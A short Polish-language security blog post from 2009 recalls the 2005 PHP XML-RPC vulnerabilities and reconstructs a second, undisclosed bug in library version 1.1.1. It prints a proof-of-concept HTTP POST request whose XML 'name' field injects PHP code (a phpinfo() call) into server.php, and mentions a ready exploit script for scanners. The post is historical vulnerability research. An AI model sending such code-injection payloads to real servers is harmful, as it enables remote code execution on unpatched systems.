Łukasz Pilorz
Bezpieczeństwo aplikacji internetowych

23 maj 09 Trochę historii

W 2005 roku James Bercegay opublikował informację o luce w PHP XML-RPC, o której wówczas było dość głośno (m.in. ze względu na ujawnienie exploita). Zaraz po wydaniu poprawionej wersji 1.1.1 pojawiła się kolejna publikacja, tym razem autorstwa Stefana Essera. Dokładnych szczegółów drugiego błędu o ile się nie mylę nigdy nie opublikowano – pamiętam że po zerknięciu na diffa między 1.1.1 a 1.2 szybko zrezygnowałem z próby odtworzenia. Po kilku latach trafiłem przypadkiem na tą wersję biblioteki, spróbowałem ponownie i oczywiście problem okazał się banalny…

POST /xmlrpc-1.1.1/server.php HTTP/1.1
Host: localhost
Content-Length: 76

<param><value><name><name>.phpinfo()));exit;//</name></name></value></param>

Gotowy skrypt można znaleźć tutaj – po czterech latach raczej nikomu się nie przyda, ale zawsze można wstawić do skanera, tak dla formalności. Działa też na 1.1, więc może zastąpić wersję z Gulftechu.



Leave a Comment